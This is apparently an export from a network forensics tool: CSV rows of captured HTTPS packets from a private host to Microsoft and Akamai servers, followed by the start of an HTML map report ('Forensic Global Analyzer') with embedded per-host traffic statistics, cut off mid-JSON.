data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xadKR\\\\xa4\\\\x96\\\\xf5\\\\xdbtul\\\\xa9I\\\\x9dr\\\\x92\\\\x8a\\\\xff\\\\x12\\\\x95\\\\tv\\\\xfa\\\\xfb\\\\x0e<\\\\xcc\\\\x10k\\\\xbf\\\\xa3\\\\xfbsU\\\\x8b\\\\xe8\\\\x02;\\\\xcd\\\\\\\\%5\\\\x95\\\\xda\\\\xd8\\\\x98\\\\x1dWD19\\\\x99\\\\xe6h$\\\\xef\\\\x88\\\\x02c\\\\xc8\\\\xc7\\\\xe7\\\\xe1\\\\xb8\\\\x8c\\\\\\\\\\\\xfc{\\\\x16[Q\\\\xadI>/\\\\xdbP\\\\xa4\\\\x9f\\\\xec\\\\xa0A\\\\xff[\\\\xe9\\\\xe57\\\\xea\\\\x0e\\\\x96:Is&0\\\\x82w\\\\xfdH\\\\x8am\\\\x1b\\\\xc6\\\\xd7\\\\x8e\\\\x98\\\\xdd\\\\x91\\\\x1ft\\\\xa9)\\\\xe8}\\\\x8c\\\\x06bh\\\\xe6\\\\x8a\\\\x9d\\\\xfc/T\\\\xcb\\\\x961\\\\xc4~\\\\x13\\\\xd73Wu*dM\\\\xd4}\\\\x1a\\\\x13*\\\\xc8\\\\xd3{8\\\\xb9\\\\xa9\\\\x9e\\\\x00\\\\x97~:W\\\\xda\\\\x1a*\\\\xb8\\\\xa1\\\\'I\\\\rz\\\\xd7\\\\xe4\\\\x1f\\\\x9e\\\\xe4[\\\\x8d\\\\xf7\\\\x05\\\\x12\\\\xfe\\\\x94\\\\x93\\\\x06\\\\xf4y\\\\xb9\\\\xd7\\\"\"\\\\x9c\\\\xd9\\\\xd9e\\\\xfe\\\\x1eq\\\\xd0M\\\\x8d\\\\xc8:\\\\x92O\\\\x9c{\\\\x85\\\\xb8;\\\\xe2\\\\r\\\\xe3;dB[\\\\xe2\\\\xee\\\\x93GuPp\\\\xfa\\\\x89\\\\xaf\\\\x1d\\\\xc7\\\\xc0\\\\x19\\\\xc3\\\\x92\\\\x8di\\\\xa6mq0\\\\xd2\\\\x85,\\\\x9d\\\\xd5\\\\xbd\\\\x9f\\\\xf2\\\\x9e\\\\xe3\\\\xd1\\\\\\\\\\\\xe00\\\\xfe\\\\x9e\\\\xda}\\\\xcd\\\\x0c\\\\xc3\\\\xc1D\\\\xbb\\\\xa1W\\\\'Fp\\\\x7fR3\\\\x13\\\\xf54{~\\\\x15C-J\\\\x19E:B~\\\\xb7\\\\x1f\\\\x1e\\\\x9ayo\\\\xf7\\\\xe5U:!\\\\xbf<\\\\xe7\\\\xfa\\\\x94e\\\\xb1\\\\xbd\\\\x19\\\\x9f\\\\xde\\\\xe5^d\\\\xa0I\\\\xf2$\\\\xe0\\\\x9eEbMaZ]\\\\xf4p\\\\x88\\\\xb5>\\\\x12\\\\xd6\\\\xf7\\\\x91M\\\\xdeSg\\\\xfar\\\\x18J\\\\x1f\\\\xfek\\\\x91\\\\x1c)D\\\\x91\\\\x19\\\\xe4_)u\\\\xacck\\\\x08J\\\\xa0\\\\xd7\\\\xf2Q(\\\\x90\\\\x14\\\\x99\\\\xe0\\\\x1b\\\\xf8\\\"\"\\\\xd2QD0.\\\\xc4tDBu\\\\xdeK\\\\xc6\\\\xe8}\\\\x14\\\\xd2\\\\xd7\\\\x82?[)\\\\xd0>\\\\xb8\\\\xcb\\\\xa6dKB\\\\x18!5\\\\xd5\\\\x11(L\\\\xef\\\\xfd[[O\\\\xa7\\\\xd2CC!\\\\x8dp\\\\xf0\\\\xce\\\\xa3\\\\x98\\\\xeb<Un\\\\x19v\\\\x10\\\\xf8\\\\xf5@\\\\xa4rL\\\\xa0\\\\xaa\\\\xd4\\\\x93Q-B\\\\xef\\\\xa6\\\\x12-\\\\xf9\\\\x84o\\\\x91rV\\\\xd2\\\\xb0K\\\\x16I)\\\\xf6f(zdQ\\\\xf9\\\\xa0\\\\t\\\\x10f\\\\x06\\\\x9dWK\\\\xa2\\\\x08\\\\xfb18D\\\\xd2L\\\\xc3i\\\\xf7\\\\xf6<\\\\xfcc\\\\xc8\\\\xd5\\\\xf4\\\\x18Pn\\\\xdaA\\\\xe41S\\\\xfb\\\\x19\\\\xcbNi`\\\\x14\\\\xfaL\\\\x17\\\\xcdk\\\\xf3\\\\xa05\\\\r{7\\\\xc7\\\\xfb5\\\\xc2\\\\x9bf6\\\\xc8\\\\xb86\\\\x99\\\\xceP\\\\x91\\\\xe7\\\\x1aZ\\\\x02\\\\xfb\\\\x08ks\\\\xb4(\\\\x82\\\\x8a\\\\xe1\\\\xd2c\\\\xbd#\\\\xd9\\\\xd5\\\\xb3\\\\x03\\\\x99\\\\xf3\\\\x96\\\\xc2p\\\\xfa\\\\xdd\\\\xe8n\\\\xd8\\\\x1c\\\\xech\\\\xdb\\\\x8az1=\\\\xe5\\\\xb0\\\\r\\\\xe1\\\\xf4\\\\xf8\\\\x94Q\\\\x980 \\\\xc7\\\\x9cE\\\\xb4\\\\x9b(\\\\xab\\\\xcdp\\\\x8c6\\\\xcc\\\\x1c\\\\xa7\\\\xcc\\\\xab\\\\xb4v\\\\xbf\\\\xa35\\\\x1e\\\\x0cZ\\\\x9b\\\\x92[\\\\xaf\\\\xa7}\\\\xcf\\\\xf1\\\\xd6\\\\xd4}~\\\\xb7\\\\x8eV\\\\xb1\\\\xa4\\\\x00\\\\x83\\\\xb9' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:50.790320,127,TCP 10.152.152.11:64012 -> 52.97.201.82:443,10.152.152.11,52.97.201.82,64012,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,A,,,Ether > IP > TCP,3,TCP A Seq=1256294308 Ack=2330699496,bc24112907bbbc2411360d0c080045000028ef57400080066b210a98980b3461c952fa0c01bb4ae187a48aeba6e8501003fa0b620000,\".$.)...$.6\n...E..(.W@...k!\n...4a.R....J.......P....b..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61271, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 27425, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.201.82\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64012, \"\"dport\"\": 443, \"\"seq\"\": 1256294308, \"\"ack\"\": 2330699496, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1018, \"\"chksum\"\": 2914, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:50.802041,128,TCP 10.152.152.11:63963 -> 40.99.204.194:443,10.152.152.11,40.99.204.194,63963,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,RA,,,Ether > IP > TCP,3,TCP RA Seq=4179544208 Ack=3179315478,bc24112907bbbc2411360d0c08004500002813ab400080064f5c0a98980b2863ccc2f9db01bbf91ec890bd808116501400001c2a0000,\".$.)...$.6\n...E..(..@...O\\\n...(c..............P....*..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 5035, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20316, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63963, \"\"dport\"\": 443, \"\"seq\"\": 4179544208, \"\"ack\"\": 3179315478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 7210, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:50.802219,129,TCP 10.152.152.11:64012 -> 52.97.201.82:443,10.152.152.11,52.97.201.82,64012,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,RA,,,Ether > IP > TCP,3,TCP RA Seq=1256294308 Ack=2330699496,bc24112907bbbc2411360d0c080045000028ef58400080066b200a98980b3461c952fa0c01bb4ae187a48aeba6e8501400000f580000,\".$.)...$.6\n...E..(.X@...k \n...4a.R....J.......P....X..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61272, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 27424, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.201.82\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64012, \"\"dport\"\": 443, \"\"seq\"\": 1256294308, \"\"ack\"\": 2330699496, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 3928, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:50.802238,130,TCP 10.152.152.11:64008 -> 52.98.232.34:443,10.152.152.11,52.98.232.34,64008,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,RA,,,Ether > IP > TCP,3,TCP RA Seq=53881696 Ack=3746065551,bc24112907bbbc2411360d0c080045000028afa6400080068c010a98980b3462e822fa0801bb03362b60df486c8f501400007a760000,\".$.)...$.6\n...E..(..@.....\n...4b.\"\".....6+`.Hl.P...zv..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 44966, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 35841, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.98.232.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 443, \"\"seq\"\": 53881696, \"\"ack\"\": 3746065551, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 31350, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n"},"html_report":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Global Network Analysis - Investigative Map</title>\n    <!-- Light Theme UI -->\n    <link rel=\"stylesheet\" href=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.css\" />\n    <script src=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.js\"></script>\n    <script src=\"https://d3js.org/d3.v7.min.js\"></script>\n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" />\n    <style>\n        :root {\n            --bg-page: #f8fafc;\n            --panel-bg: #ffffff;\n            --border-ui: #e2e8f0;\n            --text-primary: #1e293b;\n            --text-secondary: #64748b;\n            --accent-main: #3b82f6;\n            --accent-success: #10b981;\n            --accent-danger: #ef4444;\n            --shadow-ui: 0 4px 6px -1px rgba(0, 0, 0, 0.1);\n        }\n\n        body, html {\n            margin: 0;\n            padding: 0;\n            width: 100%;\n            height: 100%;\n            overflow: hidden;\n            font-family: 'Inter', system-ui, -apple-system, sans-serif;\n            background: var(--bg-page);\n            color: var(--text-primary);\n        }\n\n        #app-layout {\n            display: grid;\n            grid-template-columns: 1fr 400px;\n            grid-template-rows: 60px 1fr;\n            height: 100vh;\n            width: 100vw;\n        }\n\n        header {\n            grid-column: 1 / 3;\n            background: var(--panel-bg);\n            border-bottom: 1px solid var(--border-ui);\n            display: flex;\n            align-items: center;\n            padding: 0 24px;\n            justify-content: space-between;\n            z-index: 1000;\n        }\n\n        .brand {\n            display: flex;\n            align-items: center;\n            gap: 12px;\n            font-weight: 800;\n            font-size: 1.2rem;\n            color: var(--accent-main);\n        }\n\n        #map-view {\n            position: relative;\n            background: #eee;\n        }\n\n        #side-inspector {\n            background: var(--panel-bg);\n            border-left: 1px solid var(--border-ui);\n            display: flex;\n            flex-direction: column;\n            overflow: hidden;\n            box-shadow: -4px 0 10px rgba(0,0,0,0.02);\n        }\n\n        .inspector-header {\n            padding: 20px;\n            background: #f1f5f9;\n            border-bottom: 1px solid var(--border-ui);\n        }\n\n        .inspector-content {\n            flex: 1;\n            overflow-y: auto;\n            padding: 20px;\n        }\n\n        .info-card {\n            background: #f8fafc;\n            border: 1px solid var(--border-ui);\n            border-radius: 10px;\n            padding: 15px;\n            margin-bottom: 15px;\n        }\n\n        .sec-title {\n            font-size: 0.75rem;\n            text-transform: uppercase;\n            letter-spacing: 0.05em;\n            color: var(--text-secondary);\n            margin-bottom: 10px;\n            font-weight: 700;\n        }\n\n        .data-row {\n            display: flex;\n            justify-content: space-between;\n            margin-bottom: 6px;\n            font-size: 0.85rem;\n        }\n\n        .data-label {\n            color: var(--text-secondary);\n        }\n\n        .data-value {\n            font-weight: 600;\n            word-break: break-all;\n            text-align: right;\n        }\n\n        .packet-list-item {\n            padding: 10px;\n            border: 1px solid var(--border-ui);\n            border-radius: 6px;\n            margin-bottom: 8px;\n            cursor: pointer;\n            transition: all 0.2s;\n            font-size: 0.8rem;\n            display: flex;\n            justify-content: space-between;\n        }\n\n        .packet-list-item:hover {\n            background: #f1f5f9;\n            border-color: var(--accent-main);\n        }\n\n\n        .hex-dump {\n            font-family: 'Fira Code', 'Courier New', monospace;\n            background: #0f172a;\n            color: #38bdf8;\n            padding: 15px;\n            border-radius: 8px;\n            overflow: auto;\n            flex: 1;\n            font-size: 0.85rem;\n            line-height: 1.4;\n        }\n\n        .stat-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 15px;\n        }\n\n        .stat-box {\n            background: var(--panel-bg);\n            border: 1px solid var(--border-ui);\n            padding: 10px;\n            border-radius: 8px;\n            text-align: center;\n        }\n\n        .stat-v {\n            font-size: 1.2rem;\n            font-weight: 700;\n            color: var(--accent-main);\n        }\n\n        .stat-l {\n            font-size: 0.7rem;\n            color: var(--text-secondary);\n        }\n\n        .leaflet-d3-overlay {\n            pointer-events: none;\n        }\n\n        circle {\n            pointer-events: visiblePainted;\n            cursor: pointer;\n            transition: stroke-width 0.2s;\n        }\n\n        path.link {\n            stroke-opacity: 0.6;\n            fill: none;\n            cursor: pointer;\n        }\n\n        .replay-controller {\n            position: absolute;\n            bottom: 20px;\n            left: 50%;\n            transform: translateX(-50%);\n            background: white;\n            padding: 15px 25px;\n            border-radius: 12px;\n            display: flex;\n            align-items: center;\n            gap: 20px;\n            box-shadow: 0 10px 30px rgba(0,0,0,0.1);\n            z-index: 1001;\n            border: 1px solid var(--border-ui);\n            min-width: 500px;\n        }\n\n        .timeline-slider {\n            flex: 1;\n            -webkit-appearance: none;\n            height: 6px;\n            background: #e2e8f0;\n            border-radius: 5px;\n            outline: none;\n        }\n\n        .timeline-slider::-webkit-slider-thumb {\n            -webkit-appearance: none;\n            width: 18px;\n            height: 18px;\n            background: var(--accent-main);\n            border-radius: 50%;\n            cursor: pointer;\n            box-shadow: 0 2px 4px rgba(0,0,0,0.2);\n        }\n\n        .replay-btn {\n            background: var(--accent-main);\n            color: white;\n            border: none;\n            width: 36px;\n            height: 36px;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            cursor: pointer;\n            transition: transform 0.2s;\n        }\n\n        .replay-btn:hover {\n            transform: scale(1.1);\n        }\n\n        .packet-particle {\n            fill: var(--accent-main);\n            filter: drop-shadow(0 0 3px var(--accent-main));\n        }\n\n        .pvt-network-zone {\n            position: absolute;\n            top: 20px;\n            left: 20px;\n            width: 200px;\n            height: 150px;\n            border: 2px dashed #94a3b8;\n            border-radius: 10px;\n            background: rgba(248, 250, 252, 0.8);\n            pointer-events: none;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 0.7rem;\n            color: #64748b;\n            text-transform: uppercase;\n            font-weight: 800;\n            z-index: 1000;\n        }\n    </style>\n</head>\n<body>\n    <div id=\"app-layout\">\n        <header>\n            <div class=\"brand\">\n                <i class=\"fas fa-microchip\"></i> FORENSIC GLOBAL ANALYZER\n            </div>\n            <div class=\"stat-grid\" style=\"gap: 40px;\">\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-nodes\">0</div>\n                    <div class=\"stat-l\">NODES</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-edges\">0</div>\n                    <div class=\"stat-l\">FLOWS</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-pkts\">0</div>\n                    <div class=\"stat-l\">PACKETS</div>\n                </div>\n            </div>\n            <div>\n                <button onclick=\"zoomToWorld()\" class=\"btn\" style=\"padding: 8px 15px; border:1px solid #ccc; border-radius:5px; background:white; cursor:pointer;\">\n                    <i class=\"fas fa-globe\"></i> Reset View\n                </button>\n            </div>\n        </header>\n\n        <div id=\"map-view\">\n            <div id=\"map\" style=\"width: 100%; height: 100%;\"></div>\n            <div class=\"pvt-network-zone\" id=\"pvt-zone\">Internal Assets</div>\n            \n            <div class=\"replay-controller\">\n                <button class=\"replay-btn\" id=\"play-pause\" onclick=\"toggleReplay()\">\n                    <i class=\"fas fa-play\" id=\"play-icon\"></i>\n                </button>\n                <input type=\"range\" class=\"timeline-slider\" id=\"timeline\" min=\"0\" max=\"100\" value=\"0\" oninput=\"seekReplay(this.value)\">\n                <div id=\"time-display\" style=\"font-family: monospace; font-size: 0.8rem; color: var(--text-secondary); width: 140px;\">00:00:00.000</div>\n            </div>\n\n            <div class=\"internal-nodes-tray\" id=\"internal-tray\" style=\"display:none;\">\n                <div class=\"sec-title\">Internal Assets</div>\n                <div id=\"internal-node-list\"></div>\n            </div>\n        </div>\n\n        <div id=\"side-inspector\">\n            <div class=\"inspector-header\">\n                <h2 id=\"inspect-title\">Selection Inspector</h2>\n                <p id=\"inspect-subtitle\" style=\"font-size: 0.8rem; color: var(--text-secondary);\">Select a node or flow on map</p>\n            </div>\n            <div class=\"inspector-content\" id=\"inspect-body\">\n                <div style=\"text-align: center; color: #94a3b8; margin-top: 50px;\">\n                    <i class=\"fas fa-search-location\" style=\"font-size: 3rem; margin-bottom: 20px;\"></i>\n                    <p>Analysis initialized. Click map elements or use replay to investigate flows.</p>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    </div>\n\n    <script>\n        const nodes = [{\"id\": \"10.152.152.11\", \"ip\": \"10.152.152.11\", \"packet_count\": 130, \"total_bytes_sent\": 7580, \"total_bytes_received\": 45974, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [63942, 63963, 64008, 64012, 64025], \"first_seen\": 1781447314.00483, \"last_seen\": 1781447330.802238, \"packets\": [{\"num\": 80, \"time\": 1781447326.533236, \"size\": 683, \"direction\": \"received\"}, {\"num\": 81, \"time\": 1781447326.533632, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 82, \"time\": 1781447326.772606, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 83, \"time\": 1781447326.772633, \"size\": 66, \"direction\": \"received\"}, {\"num\": 84, \"time\": 1781447326.772843, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 85, \"time\": 1781447326.773158, \"size\": 262, \"direction\": \"sent\"}, {\"num\": 86, \"time\": 1781447326.773166, \"size\": 54, \"direction\": \"received\"}, {\"num\": 87, \"time\": 1781447327.201075, \"size\": 2006, \"direction\": \"received\"}, {\"num\": 88, \"time\": 1781447327.201227, \"size\": 2974, \"direction\": \"received\"}, {\"num\": 89, \"time\": 1781447327.201236, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 90, \"time\": 1781447327.201239, \"size\": 1038, \"direction\": \"received\"}, {\"num\": 91, \"time\": 1781447327.201312, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 92, \"time\": 1781447327.201582, \"size\": 2345, \"direction\": \"received\"}, {\"num\": 93, \"time\": 1781447327.201691, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 94, \"time\": 1781447327.209742, \"size\": 212, \"direction\": \"sent\"}, {\"num\": 95, \"time\": 1781447327.209752, \"size\": 54, \"direction\": \"received\"}, {\"num\": 96, \"time\": 1781447327.966555, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 97, \"time\": 1781447327.966578, \"size\": 66, \"direction\": \"received\"}, {\"num\": 98, \"time\": 1781447327.966872, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 99, \"time\": 1781447327.966938, \"size\": 459, \"direction\": \"sent\"}, {\"num\": 100, \"time\": 1781447327.966941, \"size\": 54, \"direction\": \"received\"}, {\"num\": 101, \"time\": 1781447328.018237, \"size\": 481, \"direction\": \"received\"}, {\"num\": 102, \"time\": 1781447328.018388, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 103, \"time\": 1781447328.019876, \"size\": 141, \"direction\": \"sent\"}, {\"num\": 104, \"time\": 1781447328.019881, \"size\": 54, \"direction\": \"received\"}, {\"num\": 105, \"time\": 1781447328.019965, \"size\": 170, \"direction\": \"sent\"}, {\"num\": 106, \"time\": 1781447328.019969, \"size\": 54, \"direction\": \"received\"}, {\"num\": 107, \"time\": 1781447328.020019, \"size\": 92, \"direction\": \"sent\"}, {\"num\": 108, \"time\": 1781447328.020022, \"size\": 54, \"direction\": \"received\"}, {\"num\": 109, \"time\": 1781447328.5346, \"size\": 92, \"direction\": \"received\"}, {\"num\": 110, \"time\": 1781447328.534925, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 111, \"time\": 1781447328.547031, \"size\": 1518, \"direction\": \"received\"}, {\"num\": 112, \"time\": 1781447328.547259, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 113, \"time\": 1781447328.558229, \"size\": 1030, \"direction\": \"received\"}, {\"num\": 114, \"time\": 1781447328.609485, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 115, \"time\": 1781447328.650252, \"size\": 2030, \"direction\": \"received\"}, {\"num\": 116, \"time\": 1781447328.650559, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 117, \"time\": 1781447329.411533, \"size\": 1168, \"direction\": \"received\"}, {\"num\": 118, \"time\": 1781447329.411932, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 119, \"time\": 1781447329.414432, \"size\": 118, \"direction\": \"sent\"}, {\"num\": 120, \"time\": 1781447329.414452, \"size\": 54, \"direction\": \"received\"}, {\"num\": 121, \"time\": 1781447330.15599, \"size\": 718, \"direction\": \"received\"}, {\"num\": 122, \"time\": 1781447330.15617, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 123, \"time\": 1781447330.158138, \"size\": 124, \"direction\": \"sent\"}, {\"num\": 124, \"time\": 1781447330.158148, \"size\": 54, \"direction\": \"received\"}, {\"num\": 125, \"time\": 1781447330.790098, \"size\": 682, \"direction\": \"received\"}, {\"num\": 126, \"time\": 1781447330.79032, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 127, \"time\": 1781447330.802041, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 128, \"time\": 1781447330.802219, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 129, \"time\": 1781447330.802238, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": true, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Internal\", \"city\": \"Private Network\", \"lat\": 0.0, \"lon\": 0.0, \"asn\": \"Unknown\", \"isp\": \"Unknown\", \"network\": \"Unknown\"}, \"duration\": 16.79740810394287, \"avg_packet_size\": 411.95384615384614, \"packets_per_second\": 7.739289251981976}, {\"id\": \"184.30.157.69\", \"ip\": \"184.30.157.69\", \"packet_count\": 24, \"total_bytes_sent\": 13365, \"total_bytes_received\": 1849, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"ports_used\": [443], \"first_seen\": 1781447314.00483, \"last_seen\": 1781447315.900435, \"packets\": [{\"num\": 0, \"time\": 1781447314.00483, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1, \"time\": 1781447314.004835, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 2, \"time\": 1781447314.005119, \"size\": 54, \"direction\": \"received\"}, {\"num\": 3, \"time\": 1781447314.005695, \"size\": 240, \"direction\": \"received\"}, {\"num\": 4, \"time\": 1781447314.005698, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 5, \"time\": 1781447314.311497, \"size\": 542, \"direction\": \"sent\"}, {\"num\": 6, \"time\": 1781447314.356732, \"size\": 54, \"direction\": \"received\"}, {\"num\": 7, \"time\": 1781447314.374327, \"size\": 3267, \"direction\": \"sent\"}, {\"num\": 8, \"time\": 1781447314.374629, \"size\": 54, \"direction\": \"received\"}, {\"num\": 9, \"time\": 1781447314.378441, \"size\": 180, \"direction\": \"received\"}, {\"num\": 10, \"time\": 1781447314.37847, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 11, \"time\": 1781447314.649133, \"size\": 328, \"direction\": \"sent\"}, {\"num\": 12, \"time\": 1781447314.655549, \"size\": 549, \"direction\": \"received\"}, {\"num\": 13, \"time\": 1781447314.655575, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 14, \"time\": 1781447314.87645, \"size\": 3470, \"direction\": \"sent\"}, {\"num\": 15, \"time\": 1781447314.876646, \"size\": 54, \"direction\": \"received\"}, {\"num\": 16, \"time\": 1781447314.893723, \"size\": 3958, \"direction\": \"sent\"}, {\"num\": 17, \"time\": 1781447314.893918, \"size\": 54, \"direction\": \"received\"}, {\"num\": 18, \"time\": 1781447314.901562, \"size\": 831, \"direction\": \"sent\"}, {\"num\": 19, \"time\": 1781447314.942113, \"size\": 54, \"direction\": \"received\"}, {\"num\": 20, \"time\": 1781447315.379031, \"size\": 436, \"direction\": \"received\"}, {\"num\": 21, \"time\": 1781447315.379069, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 22, \"time\": 1781447315.859382, \"size\": 687, \"direction\": \"sent\"}, {\"num\": 28, \"time\": 1781447315.900435, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"The Netherlands\", \"city\": \"Haarlem\", \"lat\": 52.3803, \"lon\": 4.6422, \"asn\": 16625, \"isp\": \"Akamai Technologies, Inc.\", \"network\": \"184.30.156.0/22\"}, \"duration\": 1.8956050872802734, \"avg_packet_size\": 633.9166666666666, \"packets_per_second\": 12.660864945469255}, {\"id\": \"40.99.204.194\", \"ip\": \"40.99.204.194\", \"packet_count\": 30, \"total_bytes_sent\": 7972, \"total_bytes_received\": 1650, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"ports_used\": [443], \"first_seen\": 1781447315.882949, \"last_seen\": 1781447330.802041, \"packets\": [{\"num\": 23, \"time\": 1781447315.882949, \"size\": 66, \"direction\": \"received\"}, {\"num\": 24, \"time\": 1781447315.882979, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 25, \"time\": 1781447315.883191, \"size\": 54, \"direction\": \"received\"}, {\"num\": 26, \"time\": 1781447315.885829, \"size\": 257, \"direction\": \"received\"}, {\"num\": 27, \"time\": 1781447315.88584, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 29, \"time\": 1781447320.196016, \"size\": 2006, \"direction\": \"sent\"}, {\"num\": 